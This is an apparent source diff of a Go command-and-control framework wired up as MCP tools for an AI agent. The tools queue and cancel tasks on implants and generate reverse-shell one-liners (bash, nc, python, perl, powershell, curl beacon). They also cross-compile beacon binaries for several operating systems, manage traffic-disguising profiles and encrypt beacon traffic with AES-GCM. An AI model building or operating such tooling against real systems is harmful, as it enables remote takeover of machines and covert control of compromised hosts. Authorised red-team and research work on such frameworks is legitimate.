return makeC2Result(nil, err)
}
return makeC2Result(map[string]interface{}{"task_id": task.ID, "status": task.Status}, nil)
})
}
// ============================================================================
// c2_task_manage — 任务管理工具(查询/等待/取消)
// ============================================================================
func registerC2TaskManageTool(s *mcp.Server, m *c2.Manager, l *zap.Logger) {
s.RegisterTool(mcp.Tool{
Name: builtin.ToolC2TaskManage,
Description: `C2 任务管理。通过 action 参数选择操作:
- get_result: 获取任务详情和结果(需 task_id)
- wait: 阻塞等待任务完成并返回结果(需 task_id)
- list: 列出任务(可按 session_id/status 过滤)
- cancel: 取消排队中的任务(需 task_id)`,
InputSchema: map[string]interface{}{
"type": "object",
"properties": map[string]interface{}{
"action": map[string]interface{}{"type": "string", "description": "操作: get_result/wait/list/cancel", "enum": []string{"get_result", "wait", "list", "cancel"}},
"task_id": map[string]interface{}{"type": "string", "description": "任务 IDget_result/wait/cancel 需要)"},
"session_id": map[string]interface{}{"type": "string", "description": "按会话过滤(list"},
"status": map[string]interface{}{"type": "string", "description": "按状态过滤: queued/sent/running/success/failed/cancelledlist"},
"limit": map[string]interface{}{"type": "integer", "description": "返回数量上限(list"},
"timeout_seconds": map[string]interface{}{"type": "integer", "description": "等待超时秒数(wait),默认 60"},
},
"required": []string{"action"},
},
}, func(ctx context.Context, params map[string]interface{}) (*mcp.ToolResult, error) {
action := getString(params, "action")
switch action {
case "get_result":
id := getString(params, "task_id")
task, err := m.DB().GetC2Task(id)
if err != nil {
return makeC2Result(nil, err)
}
if task == nil {
return makeC2Result(nil, fmt.Errorf("task not found"))
}
return makeC2Result(map[string]interface{}{"task": task}, nil)
case "wait":
id := getString(params, "task_id")
timeout := int(getFloat64(params, "timeout_seconds"))
if timeout <= 0 {
timeout = 60
}
deadline := time.Now().Add(time.Duration(timeout) * time.Second)
for time.Now().Before(deadline) {
task, err := m.DB().GetC2Task(id)
if err != nil {
return makeC2Result(nil, err)
}
if task == nil {
return makeC2Result(nil, fmt.Errorf("task not found"))
}
if task.Status == "success" || task.Status == "failed" || task.Status == "cancelled" {
return makeC2Result(map[string]interface{}{"task": task}, nil)
}
select {
case <-time.After(500 * time.Millisecond):
case <-ctx.Done():
return makeC2Result(nil, ctx.Err())
}
}
return makeC2Result(nil, fmt.Errorf("timeout waiting for task completion"))
case "list":
filter := database.ListC2TasksFilter{
SessionID: getString(params, "session_id"),
Status: getString(params, "status"),
}
if limit := int(getFloat64(params, "limit")); limit > 0 {
filter.Limit = limit
}
tasks, err := m.DB().ListC2Tasks(filter)
return makeC2Result(map[string]interface{}{"tasks": tasks, "count": len(tasks)}, err)
case "cancel":
id := getString(params, "task_id")
err := m.CancelTask(id)
return makeC2Result(map[string]interface{}{"cancelled": err == nil}, err)
default:
return makeC2Result(nil, fmt.Errorf("unknown action: %s", action))
}
})
}
// ============================================================================
// c2_payload — Payload 统一工具
// ============================================================================
func registerC2PayloadTool(s *mcp.Server, m *c2.Manager, l *zap.Logger, webListenPort int) {
s.RegisterTool(mcp.Tool{
Name: builtin.ToolC2Payload,
Description: fmt.Sprintf(`C2 Payload 生成。通过 action 参数选择操作:
- oneliner: 生成单行 payload。kind 必须与监听器协议一致,否则会失败:
• tcp_reverse:裸 TCP 反弹,可用 kind: bash, nc, nc_mkfifo, python, perl, powershellbash 指 /dev/tcp 类,不是 HTTP)。
• http_beacon / https_beacon / websocket:仅 HTTP(S) Beacon 轮询,oneliner 只能用 kind: curl_beacon(脚本内用 bash+curl,与「tcp 的 bash」不同)。curl_beacon 返回串末尾含「 &」用于把整个 bash -c 放后台;若用 exec/execute 同步执行,必须整段原样复制(含末尾 &)。若删掉 &,内部 while 死循环占满前台,调用会一直阻塞到超时/杀进程。
• 需要经典 bash 反弹 shell 时:先 c2_listener create type=tcp_reverse,再对该监听器用 kind=bash。
• 省略 kind 时,会按监听器类型自动选第一个兼容类型(HTTP 系默认为 curl_beacon)。
- build: 交叉编译 beacon 二进制。支持 http_beacon / https_beacon / websocket / tcp_reversetcp_reverse 下植入端回连后先发魔数 CSB1,再走与 HTTP 相同的 AES-GCM JSON 语义;未发魔数的连接仍按经典交互 shell 处理)。
依赖的监听器 bind_port 须避开本服务 Web 端口 %d(配置 server.port,与 c2_listener 描述一致),否则 Beacon 无法正确回连。`, webListenPort),
InputSchema: map[string]interface{}{
"type": "object",
"properties": map[string]interface{}{
"action": map[string]interface{}{"type": "string", "description": "操作: oneliner/build", "enum": []string{"oneliner", "build"}},
"listener_id": map[string]interface{}{"type": "string", "description": "监听器 ID(必填)。oneliner 前请确认该监听器的 type,再选兼容的 kind"},
"kind": map[string]interface{}{"type": "string", "description": "仅 action=oneliner 需要。tcp_reverse: bash|nc|nc_mkfifo|python|perl|powershellhttp_beacon|https_beacon|websocket: 仅 curl_beacon"},
"host": map[string]interface{}{"type": "string", "description": "oneliner/build 可选覆盖:非空则强制用作植入回连主机。留空时顺序为:监听器 callback_hostcreate/update 的 callback_host 参数写入)→ bind_host0.0.0.0 时尝试本机对外 IP 探测)"},
"os": map[string]interface{}{"type": "string", "description": "目标 OSbuild: linux/windows/darwin", "default": "linux"},
"arch": map[string]interface{}{"type": "string", "description": "目标架构(build: amd64/arm64/386/arm", "default": "amd64"},
"sleep_seconds": map[string]interface{}{"type": "integer", "description": "默认心跳间隔(build"},
"jitter_percent": map[string]interface{}{"type": "integer", "description": "默认抖动百分比(build"},
},
"required": []string{"action", "listener_id"},
},
}, func(ctx context.Context, params map[string]interface{}) (*mcp.ToolResult, error) {
action := getString(params, "action")
listenerID := getString(params, "listener_id")
switch action {
case "oneliner":
listener, err := m.DB().GetC2Listener(listenerID)
if err != nil {
return makeC2Result(nil, err)
}
if listener == nil {
return makeC2Result(nil, fmt.Errorf("listener not found"))
}
host := c2.ResolveBeaconDialHost(listener, getString(params, "host"), l, listenerID)
kind := c2.OnelinerKind(getString(params, "kind"))
if kind == "" {
compatible := c2.OnelinerKindsForListener(listener.Type)
if len(compatible) > 0 {
kind = compatible[0]
}
}
if !c2.IsOnelinerCompatible(listener.Type, kind) {
compatible := c2.OnelinerKindsForListener(listener.Type)
names := make([]string, len(compatible))
for i, k := range compatible {
names[i] = string(k)
}
return makeC2Result(nil, fmt.Errorf("监听器类型 %s 不支持 %s,兼容类型: %v", listener.Type, kind, names))
}
input := c2.OnelinerInput{
Kind: kind,
Host: host,
Port: listener.BindPort,
HTTPBaseURL: fmt.Sprintf("http://%s:%d", host, listener.BindPort),
ImplantToken: listener.ImplantToken,
}
oneliner, err := c2.GenerateOneliner(input)
if err != nil {
return makeC2Result(nil, err)
}
out := map[string]interface{}{
"oneliner": oneliner, "kind": input.Kind, "host": host, "port": listener.BindPort,
}
if kind == c2.OnelinerCurl {
out["usage_note"] = "同步 exec/execute:整段原样执行(末尾须有「 &」)。去掉则 while 永不结束,工具会一直卡住。"
}
return makeC2Result(out, nil)
case "build":
builder := c2.NewPayloadBuilder(m, l, "", "")
input := c2.PayloadBuilderInput{
ListenerID: listenerID,
OS: getString(params, "os"),
Arch: getString(params, "arch"),
SleepSeconds: int(getFloat64(params, "sleep_seconds")),
JitterPercent: int(getFloat64(params, "jitter_percent")),
Host: strings.TrimSpace(getString(params, "host")),
}
result, err := builder.BuildBeacon(input)
if err != nil {
return makeC2Result(nil, err)
}
return makeC2Result(map[string]interface{}{
"payload_id": result.PayloadID, "download_path": result.DownloadPath,
"os": result.OS, "arch": result.Arch, "size_bytes": result.SizeBytes,
}, nil)
default:
return makeC2Result(nil, fmt.Errorf("unknown action: %s", action))
}
})
}
// ============================================================================
// c2_event — 事件查询工具
// ============================================================================
func registerC2EventTool(s *mcp.Server, m *c2.Manager, l *zap.Logger) {
s.RegisterTool(mcp.Tool{
Name: builtin.ToolC2Event,
Description: "获取 C2 事件(上线/掉线/任务/错误),支持按级别/类别/会话/任务/时间过滤",
InputSchema: map[string]interface{}{
"type": "object",
"properties": map[string]interface{}{
"level": map[string]interface{}{"type": "string", "description": "级别过滤: info/warn/critical"},
"category": map[string]interface{}{"type": "string", "description": "类别过滤: listener/session/task/payload/opsec"},
"session_id": map[string]interface{}{"type": "string", "description": "按会话过滤"},
"task_id": map[string]interface{}{"type": "string", "description": "按任务过滤"},
"since": map[string]interface{}{"type": "string", "description": "起始时间(RFC3339 格式,如 2025-01-01T00:00:00Z"},
"limit": map[string]interface{}{"type": "integer", "default": 50, "description": "返回数量"},
},
},
}, func(ctx context.Context, params map[string]interface{}) (*mcp.ToolResult, error) {
filter := database.ListC2EventsFilter{
Level: getString(params, "level"),
Category: getString(params, "category"),
SessionID: getString(params, "session_id"),
TaskID: getString(params, "task_id"),
Limit: int(getFloat64(params, "limit")),
}
if filter.Limit <= 0 {
filter.Limit = 50
}
if since := getString(params, "since"); since != "" {
if t, err := time.Parse(time.RFC3339, since); err == nil {
filter.Since = &t
}
}
events, err := m.DB().ListC2Events(filter)
return makeC2Result(map[string]interface{}{"events": events, "count": len(events)}, err)
})
}
// ============================================================================
// c2_profile — Malleable Profile 管理工具(新增)
// ============================================================================
func registerC2ProfileTool(s *mcp.Server, m *c2.Manager, l *zap.Logger) {
s.RegisterTool(mcp.Tool{
Name: builtin.ToolC2Profile,
Description: `C2 Malleable Profile 管理(控制 beacon 通信伪装)。通过 action 参数选择操作:
- list: 列出所有 Profile
- get: 获取 Profile 详情(需 profile_id
- create: 创建 Profile(需 name,可选 user_agent/uris/request_headers/response_headers/body_template/jitter_min_ms/jitter_max_ms
- update: 更新 Profile(需 profile_id
- delete: 删除 Profile(需 profile_id`,
InputSchema: map[string]interface{}{
"type": "object",
"properties": map[string]interface{}{
"action": map[string]interface{}{"type": "string", "description": "操作: list/get/create/update/delete", "enum": []string{"list", "get", "create", "update", "delete"}},
"profile_id": map[string]interface{}{"type": "string", "description": "Profile IDget/update/delete 需要)"},
"name": map[string]interface{}{"type": "string", "description": "Profile 名称"},
"user_agent": map[string]interface{}{"type": "string", "description": "User-Agent 字符串"},
"uris": map[string]interface{}{"type": "array", "items": map[string]interface{}{"type": "string"}, "description": "beacon 请求的 URI 列表"},
"request_headers": map[string]interface{}{"type": "object", "description": "自定义请求头"},
"response_headers": map[string]interface{}{"type": "object", "description": "自定义响应头"},
"body_template": map[string]interface{}{"type": "string", "description": "响应体模板"},
"jitter_min_ms": map[string]interface{}{"type": "integer", "description": "最小抖动(毫秒)"},
"jitter_max_ms": map[string]interface{}{"type": "integer", "description": "最大抖动(毫秒)"},
},
"required": []string{"action"},
},
}, func(ctx context.Context, params map[string]interface{}) (*mcp.ToolResult, error) {
action := getString(params, "action")
id := getString(params, "profile_id")
switch action {
case "list":
profiles, err := m.DB().ListC2Profiles()
return makeC2Result(map[string]interface{}{"profiles": profiles, "count": len(profiles)}, err)
case "get":
profile, err := m.DB().GetC2Profile(id)
if err != nil {
return makeC2Result(nil, err)
}
if profile == nil {
return makeC2Result(nil, fmt.Errorf("profile not found"))
}
return makeC2Result(map[string]interface{}{"profile": profile}, nil)
case "create":
profile := &database.C2Profile{
ID: "p_" + strings.ReplaceAll(uuid.New().String(), "-", "")[:14],
Name: getString(params, "name"),
UserAgent: getString(params, "user_agent"),
BodyTemplate: getString(params, "body_template"),
JitterMinMS: int(getFloat64(params, "jitter_min_ms")),
JitterMaxMS: int(getFloat64(params, "jitter_max_ms")),
CreatedAt: time.Now(),
}
if uris, ok := params["uris"]; ok {
if arr, ok := uris.([]interface{}); ok {
for _, u := range arr {
if s, ok := u.(string); ok {
profile.URIs = append(profile.URIs, s)
}
}
}
}
if rh, ok := params["request_headers"]; ok {
if m, ok := rh.(map[string]interface{}); ok {
profile.RequestHeaders = make(map[string]string)
for k, v := range m {
profile.RequestHeaders[k], _ = v.(string)
}
}
}
if rh, ok := params["response_headers"]; ok {
if m, ok := rh.(map[string]interface{}); ok {
profile.ResponseHeaders = make(map[string]string)
for k, v := range m {
profile.ResponseHeaders[k], _ = v.(string)
}
}
}
if err := m.DB().CreateC2Profile(profile); err != nil {
return makeC2Result(nil, err)
}
return makeC2Result(map[string]interface{}{"profile": profile}, nil)
case "update":
profile, err := m.DB().GetC2Profile(id)
if err != nil {
return makeC2Result(nil, err)
}
if profile == nil {
return makeC2Result(nil, fmt.Errorf("profile not found"))
}
if v := getString(params, "name"); v != "" {
profile.Name = v
}
if v := getString(params, "user_agent"); v != "" {
profile.UserAgent = v
}
if v := getString(params, "body_template"); v != "" {
profile.BodyTemplate = v
}
if v := int(getFloat64(params, "jitter_min_ms")); v > 0 {
profile.JitterMinMS = v
}
if v := int(getFloat64(params, "jitter_max_ms")); v > 0 {
profile.JitterMaxMS = v
}
if uris, ok := params["uris"]; ok {
if arr, ok := uris.([]interface{}); ok {
profile.URIs = nil
for _, u := range arr {
if s, ok := u.(string); ok {
profile.URIs = append(profile.URIs, s)
}
}
}
}
if rh, ok := params["request_headers"]; ok {
if mp, ok := rh.(map[string]interface{}); ok {
profile.RequestHeaders = make(map[string]string)
for k, v := range mp {
profile.RequestHeaders[k], _ = v.(string)
}
}
}
if rh, ok := params["response_headers"]; ok {
if mp, ok := rh.(map[string]interface{}); ok {
profile.ResponseHeaders = make(map[string]string)
for k, v := range mp {
profile.ResponseHeaders[k], _ = v.(string)
}
}
}
if err := m.DB().UpdateC2Profile(profile); err != nil {
return makeC2Result(nil, err)
}
return makeC2Result(map[string]interface{}{"profile": profile}, nil)
case "delete":
err := m.DB().DeleteC2Profile(id)
return makeC2Result(map[string]interface{}{"deleted": err == nil}, err)
default:
return makeC2Result(nil, fmt.Errorf("unknown action: %s", action))
}
})
}
// ============================================================================
// c2_file — 文件管理工具(新增)
// ============================================================================
func registerC2FileTool(s *mcp.Server, m *c2.Manager, l *zap.Logger) {
s.RegisterTool(mcp.Tool{
Name: builtin.ToolC2File,
Description: `C2 文件管理。通过 action 参数选择操作:
- list: 列出会话的文件传输记录(需 session_id
- get_result: 获取任务结果文件路径(截图等,需 task_id)`,
InputSchema: map[string]interface{}{
"type": "object",
"properties": map[string]interface{}{
"action": map[string]interface{}{"type": "string", "description": "操作: list/get_result", "enum": []string{"list", "get_result"}},
"session_id": map[string]interface{}{"type": "string", "description": "会话 IDlist 需要)"},
"task_id": map[string]interface{}{"type": "string", "description": "任务 IDget_result 需要)"},
},
"required": []string{"action"},
},
}, func(ctx context.Context, params map[string]interface{}) (*mcp.ToolResult, error) {
action := getString(params, "action")
switch action {
case "list":
sessionID := getString(params, "session_id")
if sessionID == "" {
return makeC2Result(nil, fmt.Errorf("session_id required"))
}
files, err := m.DB().ListC2FilesBySession(sessionID)
return makeC2Result(map[string]interface{}{"files": files, "count": len(files)}, err)
case "get_result":
taskID := getString(params, "task_id")
task, err := m.DB().GetC2Task(taskID)
if err != nil {
return makeC2Result(nil, err)
}
if task == nil {
return makeC2Result(nil, fmt.Errorf("task not found"))
}
if task.ResultBlobPath == "" {
return makeC2Result(map[string]interface{}{"has_file": false, "task_id": taskID}, nil)
}
return makeC2Result(map[string]interface{}{
"has_file": true,
"task_id": taskID,
"file_path": task.ResultBlobPath,
}, nil)
default:
return makeC2Result(nil, fmt.Errorf("unknown action: %s", action))
}
})
}
// ============================================================================
// 工具函数
// ============================================================================
func getString(params map[string]interface{}, key string) string {
if v, ok := params[key]; ok {
if s, ok := v.(string); ok {
return s
}
}
return ""
}
func getFloat64(params map[string]interface{}, key string) float64 {
if v, ok := params[key]; ok {
switch n := v.(type) {
case float64:
return n
case int:
return float64(n)
case string:
if f, err := strconv.ParseFloat(n, 64); err == nil {
return f
}
}
}
return 0
}
+39
View File
@@ -0,0 +1,39 @@
package c2
import (
"strings"
"cyberstrike-ai/internal/database"
"go.uber.org/zap"
)
// ResolveBeaconDialHost 决定植入端应连接的主机名(不含端口)。
// 优先级:explicitOverride > 监听器 config_json 中的 callback_host > bind_host0.0.0.0/::/空 时 detectExternalIP,失败则 127.0.0.1)。
func ResolveBeaconDialHost(listener *database.C2Listener, explicitOverride string, logger *zap.Logger, listenerID string) string {
if h := strings.TrimSpace(explicitOverride); h != "" {
return h
}
cfg := &ListenerConfig{}
if listener != nil && listener.ConfigJSON != "" {
_ = parseJSON(listener.ConfigJSON, cfg)
}
if h := strings.TrimSpace(cfg.CallbackHost); h != "" {
return h
}
if listener == nil {
return "127.0.0.1"
}
host := strings.TrimSpace(listener.BindHost)
if host == "0.0.0.0" || host == "" || host == "::" {
host = detectExternalIP()
if host == "" {
if logger != nil {
logger.Warn("listener binds 0.0.0.0 but no external IP detected, falling back to 127.0.0.1; set callback_host or pass explicit host",
zap.String("listener_id", listenerID))
}
return "127.0.0.1"
}
}
return host
}
+154
View File
@@ -0,0 +1,154 @@
package c2
import (
"crypto/aes"
"crypto/cipher"
"crypto/rand"
"encoding/base64"
"errors"
"io"
)
// AES-256-GCM 信封:每个 Listener 独立 32 字节密钥 + 每条消息独立 12 字节 nonce。
// 协议格式(base64 文本,便于 HTTP body / SSE 直接传):
// base64( nonce(12) || ciphertext+tag )
// 设计要点:
// - GCM 自带 16 字节 AEAD tag,完整性 + 机密性一次性搞定,无需额外 HMAC;
// - nonce 由 crypto/rand 生成,96bit 在密钥不变期内重复概率极低(< 2^-32 / 4B 次);
// - 密钥不出服务端:listener 创建时随机生成 32 字节,编译 beacon 时硬编码进去。
// GenerateAESKey 生成随机 32 字节 AES-256 密钥并 base64 输出
func GenerateAESKey() (string, error) {
key := make([]byte, 32)
if _, err := io.ReadFull(rand.Reader, key); err != nil {
return "", err
}
return base64.StdEncoding.EncodeToString(key), nil
}
// GenerateImplantToken 生成 32 字节 tokenbase64 编码(implant 携带在 HTTP header 鉴权用)
func GenerateImplantToken() (string, error) {
t := make([]byte, 32)
if _, err := io.ReadFull(rand.Reader, t); err != nil {
return "", err
}
return base64.RawURLEncoding.EncodeToString(t), nil
}
// EncryptAESGCM 加密任意明文,返回 base64(nonce||ct)
func EncryptAESGCM(keyB64 string, plaintext []byte) (string, error) {
key, err := decodeKey(keyB64)
if err != nil {
return "", err
}
block, err := aes.NewCipher(key)
if err != nil {
return "", err
}
gcm, err := cipher.NewGCM(block)
if err != nil {
return "", err
}
nonce := make([]byte, gcm.NonceSize())
if _, err := io.ReadFull(rand.Reader, nonce); err != nil {
return "", err
}
ct := gcm.Seal(nil, nonce, plaintext, nil)
out := append(nonce, ct...)
return base64.StdEncoding.EncodeToString(out), nil
}
// DecryptAESGCM 解密 base64(nonce||ct),返回明文
func DecryptAESGCM(keyB64, encB64 string) ([]byte, error) {
key, err := decodeKey(keyB64)
if err != nil {
return nil, err
}
raw, err := base64.StdEncoding.DecodeString(encB64)
if err != nil {
return nil, errors.New("ciphertext base64 invalid")
}
block, err := aes.NewCipher(key)
if err != nil {
return nil, err
}
gcm, err := cipher.NewGCM(block)
if err != nil {
return nil, err
}
nonceSize := gcm.NonceSize()
if len(raw) < nonceSize+16 { // 至少 nonce + tag
return nil, errors.New("ciphertext too short")
}
nonce, ct := raw[:nonceSize], raw[nonceSize:]
pt, err := gcm.Open(nil, nonce, ct, nil)
if err != nil {
return nil, errors.New("aead open failed (key mismatch or tampered)")
}
return pt, nil
}
// EncryptAESGCMWithAAD encrypts with additional authenticated data bound to context (e.g. session_id).
// Prevents cross-session replay: ciphertext from session A cannot be fed to session B.
func EncryptAESGCMWithAAD(keyB64 string, plaintext []byte, aad []byte) (string, error) {
key, err := decodeKey(keyB64)
if err != nil {
return "", err
}
block, err := aes.NewCipher(key)
if err != nil {
return "", err
}
gcm, err := cipher.NewGCM(block)
if err != nil {
return "", err
}
nonce := make([]byte, gcm.NonceSize())
if _, err := io.ReadFull(rand.Reader, nonce); err != nil {
return "", err
}
ct := gcm.Seal(nil, nonce, plaintext, aad)
out := append(nonce, ct...)
return base64.StdEncoding.EncodeToString(out), nil
}
// DecryptAESGCMWithAAD decrypts with AAD verification.
func DecryptAESGCMWithAAD(keyB64, encB64 string, aad []byte) ([]byte, error) {
key, err := decodeKey(keyB64)
if err != nil {
return nil, err
}
raw, err := base64.StdEncoding.DecodeString(encB64)
if err != nil {
return nil, errors.New("ciphertext base64 invalid")
}
block, err := aes.NewCipher(key)
if err != nil {
return nil, err
}
gcm, err := cipher.NewGCM(block)
if err != nil {
return nil, err
}
nonceSize := gcm.NonceSize()
if len(raw) < nonceSize+16 {
return nil, errors.New("ciphertext too short")
}
nonce, ct := raw[:nonceSize], raw[nonceSize:]
pt, err := gcm.Open(nil, nonce, ct, aad)
if err != nil {
return nil, errors.New("aead open failed (key mismatch, tampered, or AAD mismatch)")
}
return pt, nil
}
func decodeKey(keyB64 string) ([]byte, error) {
key, err := base64.StdEncoding.DecodeString(keyB64)
if err != nil {
return nil, errors.New("key base64 invalid")
}
if len(key) != 32 {
return nil, errors.New("key must be 32 bytes (AES-256)")
}
return key, nil
}
+144
View File
@@ -0,0 +1,144 @@
package c2
import (
"sync"
"sync/atomic"
"time"
)
// Event 是 EventBus 内部传输的事件单元,是 database.C2Event 的"实时投影"。
// 区别在于:
// - 数据库表保存全部历史,用于审计与列表分页;
// - EventBus 只缓存最近 N 条,用于 SSE/WS 实时推送给在线订阅者。
type Event struct {
ID string `json:"id"`
Level string `json:"level"`
Category string `json:"category"`
SessionID string `json:"sessionId,omitempty"`
TaskID string `json:"taskId,omitempty"`
Message string `json:"message"`
Data map[string]interface{} `json:"data,omitempty"`
CreatedAt time.Time `json:"createdAt"`
}
// EventBus 简单的内存广播总线。
// 设计要点:
// - 多订阅者:每个订阅者有独立 buffered channel,慢消费者不会阻塞 publisher;
// - 容量满即丢弃:发布端绝不阻塞,避免 listener accept loop / beacon handler 卡住;
// - 全局过滤:订阅时可限定 SessionID/Category,前端按需订阅,省 CPU;
// - 关闭安全:Close() 后所有订阅者 chan 关闭,防止 goroutine 泄漏。
type EventBus struct {
mu sync.RWMutex
subscribers map[string]*Subscription
closed bool
}
// Subscription 订阅句柄
type Subscription struct {
ID string
Ch chan *Event
SessionID string // 空表示不限制
Category string // 空表示不限制
Levels map[string]struct{}
dropCount atomic.Int64
}
// NewEventBus 创建总线
func NewEventBus() *EventBus {
return &EventBus{subscribers: make(map[string]*Subscription)}
}
// Subscribe 注册订阅者;返回 Subscription,调用方负责后续 Unsubscribe。
// - bufferSize:单订阅者 channel 容量,建议 64~256
// - sessionFilter / categoryFilter:空字符串=不限;
// - levelFilter[]string{"warn","critical"} 这类,nil/空表示全收。
func (b *EventBus) Subscribe(id string, bufferSize int, sessionFilter, categoryFilter string, levelFilter []string) *Subscription {
if bufferSize <= 0 {
bufferSize = 128
}
sub := &Subscription{
ID: id,
Ch: make(chan *Event, bufferSize),
SessionID: sessionFilter,
Category: categoryFilter,
}
if len(levelFilter) > 0 {
sub.Levels = make(map[string]struct{}, len(levelFilter))
for _, l := range levelFilter {
sub.Levels[l] = struct{}{}
}
}
b.mu.Lock()
defer b.mu.Unlock()
if b.closed {
close(sub.Ch)
return sub
}
b.subscribers[id] = sub
return sub
}
// Unsubscribe 注销订阅者并关闭 channel
func (b *EventBus) Unsubscribe(id string) {
b.mu.Lock()
defer b.mu.Unlock()
if sub, ok := b.subscribers[id]; ok {
delete(b.subscribers, id)
close(sub.Ch)
}
}
// Publish 广播事件给所有订阅者;非阻塞,channel 满时静默丢弃
func (b *EventBus) Publish(e *Event) {
if e == nil {
return
}
b.mu.RLock()
subs := make([]*Subscription, 0, len(b.subscribers))
for _, s := range b.subscribers {
if s.matches(e) {
subs = append(subs, s)
}
}
closed := b.closed
b.mu.RUnlock()
if closed {
return
}
for _, s := range subs {
select {
case s.Ch <- e:
default:
s.dropCount.Add(1)
}
}
}
// Close 关闭总线,停止所有订阅
func (b *EventBus) Close() {
b.mu.Lock()
defer b.mu.Unlock()
if b.closed {
return
}
b.closed = true
for id, s := range b.subscribers {
close(s.Ch)
delete(b.subscribers, id)
}
}
func (s *Subscription) matches(e *Event) bool {
if s.SessionID != "" && e.SessionID != s.SessionID {
return false
}
if s.Category != "" && e.Category != s.Category {
return false
}
if len(s.Levels) > 0 {
if _, ok := s.Levels[e.Level]; !ok {
return false
}
}
return true
}
+29
View File
@@ -0,0 +1,29 @@
package c2
import "context"
type hitlRunCtxKey struct{}
// WithHITLRunContext 将 runCtx(通常为整条 Agent / SSE 请求生命周期)挂到传入的 ctx 上。
// MCP 工具 handler 收到的 ctx 可能是带单次工具超时的子 context,在工具 return 时会被 cancel
// 危险任务 HITL 应通过 HITLUserContext 使用 runCtx 等待人工审批。
func WithHITLRunContext(ctx, runCtx context.Context) context.Context {
if ctx == nil || runCtx == nil {
return ctx
}
return context.WithValue(ctx, hitlRunCtxKey{}, runCtx)
}
// HITLUserContext 返回用于 C2 危险任务 HITL 等待的 context
// 若曾用 WithHITLRunContext 注入更长寿命的 runCtx 则返回之,否则返回 ctx。
func HITLUserContext(ctx context.Context) context.Context {
if ctx == nil {
return context.Background()
}
if v := ctx.Value(hitlRunCtxKey{}); v != nil {
if run, ok := v.(context.Context); ok && run != nil {
return run
}
}
return ctx
}
+22
View File
@@ -0,0 +1,22 @@
package c2
import (
"encoding/base64"
"os"
)
// 这些薄封装存在的目的:
// - 让 manager.go / handler 中的逻辑更直观,避免反复 import os;
// - 便于将来用接口抽象(譬如改成 internal/storage 的实现)做单元测试。
func osMkdirAll(path string, perm os.FileMode) error {
return os.MkdirAll(path, perm)
}
func osWriteFile(path string, data []byte, perm os.FileMode) error {
return os.WriteFile(path, data, perm)
}
func base64Decode(s string) ([]byte, error) {
return base64.StdEncoding.DecodeString(s)
}
+69
View File
@@ -0,0 +1,69 @@
package c2
import (
"strings"
"sync"
"cyberstrike-ai/internal/database"
"go.uber.org/zap"
)
// Listener 监听器抽象:每种传输方式(TCP/HTTP/HTTPS/WS/DNS)都实现此接口;
// Manager 不感知具体实现细节,通过 ListenerRegistry 工厂创建。
type Listener interface {
// Type 返回当前 listener 的类型字符串(如 "tcp_reverse"
Type() string
// Start 启动监听;如果端口被占用应返回 ErrPortInUse
Start() error
// Stop 停止监听并释放所有相关 goroutine(不应抛 panic
Stop() error
}
// ListenerCreationCtx 工厂初始化 listener 时收到的上下文
type ListenerCreationCtx struct {
Listener *database.C2Listener
Config *ListenerConfig
Manager *Manager
Logger *zap.Logger
}
// ListenerFactory 创建 listener 实例的工厂;返回的实例尚未 Start
type ListenerFactory func(ctx ListenerCreationCtx) (Listener, error)
// ListenerRegistry 类型 → 工厂 的注册表,由 internal/app 启动时注册具体实现,
// 测试中也可注入 mock 工厂来覆盖。
type ListenerRegistry struct {
mu sync.RWMutex
factories map[string]ListenerFactory
}
// NewListenerRegistry 创建空注册表
func NewListenerRegistry() *ListenerRegistry {
return &ListenerRegistry{factories: make(map[string]ListenerFactory)}
}
// Register 注册一种 listener 工厂
func (r *ListenerRegistry) Register(typeName string, f ListenerFactory) {
r.mu.Lock()
defer r.mu.Unlock()
r.factories[strings.ToLower(strings.TrimSpace(typeName))] = f
}
// Get 取工厂;nil 表示未注册
func (r *ListenerRegistry) Get(typeName string) ListenerFactory {
r.mu.RLock()
defer r.mu.RUnlock()
return r.factories[strings.ToLower(strings.TrimSpace(typeName))]
}
// RegisteredTypes 列出已注册的类型,给前端枚举用
func (r *ListenerRegistry) RegisteredTypes() []string {
r.mu.RLock()
defer r.mu.RUnlock()
out := make([]string, 0, len(r.factories))
for k := range r.factories {
out = append(out, k)
}
return out
}
+549
View File
@@ -0,0 +1,549 @@
package c2
import (
"crypto/ecdsa"
"crypto/elliptic"
"crypto/rand"
"crypto/sha256"
"crypto/subtle"
"crypto/tls"
"crypto/x509"
"crypto/x509/pkix"
"encoding/base64"
"encoding/hex"
"encoding/json"
"encoding/pem"
"errors"
"fmt"
"io"
"math/big"
mrand "math/rand"
"net"
"net/http"
"os"
"path/filepath"
"strings"
"sync"
"time"
"cyberstrike-ai/internal/database"
"go.uber.org/zap"
)
// HTTPBeaconListener 实现 HTTP/HTTPS Beacon
// - beacon 端定期 POST {checkin_path}(携带 implant_token + AES 加密 body);
// - 服务端解密、登记会话、回执 sleep + 是否有任务;
// - beacon 收到 has_tasks=true 时 GET {tasks_path} 拉取加密任务列表;
// - 任务完成后 POST {result_path} 回传结果。
//
// 优势:所有任务异步、可批量、支持文件上传/截图/任意大 blob,是 C2 的"主战场"。
type HTTPBeaconListener struct {
rec *database.C2Listener
cfg *ListenerConfig
manager *Manager
logger *zap.Logger
useTLS bool
profile *database.C2Profile
srv *http.Server
mu sync.Mutex
stopCh chan struct{}
stopped bool
}
// NewHTTPBeaconListener 工厂(注册到 ListenerRegistry["http_beacon"]
func NewHTTPBeaconListener(ctx ListenerCreationCtx) (Listener, error) {
return &HTTPBeaconListener{
rec: ctx.Listener,
cfg: ctx.Config,
manager: ctx.Manager,
logger: ctx.Logger,
useTLS: false,
stopCh: make(chan struct{}),
}, nil
}
// NewHTTPSBeaconListener 工厂(注册到 ListenerRegistry["https_beacon"]
func NewHTTPSBeaconListener(ctx ListenerCreationCtx) (Listener, error) {
return &HTTPBeaconListener{
rec: ctx.Listener,
cfg: ctx.Config,
manager: ctx.Manager,
logger: ctx.Logger,
useTLS: true,
stopCh: make(chan struct{}),
}, nil
}
// Type 类型字符串
func (l *HTTPBeaconListener) Type() string {
if l.useTLS {
return string(ListenerTypeHTTPSBeacon)
}
return string(ListenerTypeHTTPBeacon)
}
// Start 起 HTTP server
func (l *HTTPBeaconListener) Start() error {
// Load Malleable Profile if configured
l.loadProfile()
mux := http.NewServeMux()
mux.HandleFunc(l.cfg.BeaconCheckInPath, l.withProfileHeaders(l.handleCheckIn))
mux.HandleFunc(l.cfg.BeaconTasksPath, l.withProfileHeaders(l.handleTasks))
mux.HandleFunc(l.cfg.BeaconResultPath, l.withProfileHeaders(l.handleResult))
mux.HandleFunc(l.cfg.BeaconUploadPath, l.withProfileHeaders(l.handleUpload))
